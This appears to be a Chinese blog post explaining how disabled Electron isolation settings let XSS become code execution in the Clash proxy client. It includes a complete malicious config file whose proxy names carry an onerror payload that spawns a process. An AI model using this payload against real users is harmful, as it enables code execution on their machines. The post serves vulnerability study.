1.首先介绍一下electron这个框架为什么会可以从XSS到RCE:
判断一个electron应用能否RCE的关键是查看,它配置中contextIsolation的参数设置是否为true和nodeIntegration是否为false(默认值为true,可以执行)。contextIsolation是个Electron原生功能,它允许开发人员在特定的 JavaScript 上下文中的预加载脚本和 Electron API 中运行代码。这也就意味着诸如Array.prototype.pushor之类的全局对象JSON.parse不能被渲染器进程中运行的脚本修改。它在 Electron 的本地JavaScript 代码和 Web 应用程序的 JavaScript 代码之间引入了分离的上下文,因此应用程序的 JavaScript 代码的执行不会影响本机代码。但是如果contextIsolation禁用,Web 应用程序的 JavaScript 代码可能会影响 Electron 原生 JavaScript 代码在渲染器和预加载脚本上的执行。这种行为很危险,因为如果Electron 允许 Web 应用程序的 JavaScript 代码使用 Node.js 功能,这样用户就可以通过控制输入来实现RCE。
2.Clash为什么可以RCE呢?
简而言之就是electron这个带恶人的锅(clash没有正确设置nodeIntegration参数,实际上这个参数为true)
并且由于clash 对于代理的名字和代理组的名字没有做任何处理,导致可以插入XSS语句导致RCE
点击引入我们的恶意cfg文件
port: 7890
socks-port: 7891
allow-lan: true
mode: Rule
log-level: info
external-controller: :9090
proxies:
- name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: socks5
server: 127.0.0.1
port: "17938"
skip-cert-verify: true
- name: abc
type: socks5
server: 127.0.0.1
port: "8088"
skip-cert-verify: true
proxy-groups:
-
name: <img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
type: select
proxies:
- a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);>
然后我们再点击切换到代理那里
就会发现,代理组的名字和代理的名字还有代理配置的名字那里插了三个xss,然后就RCE弹出计算器了。
评论区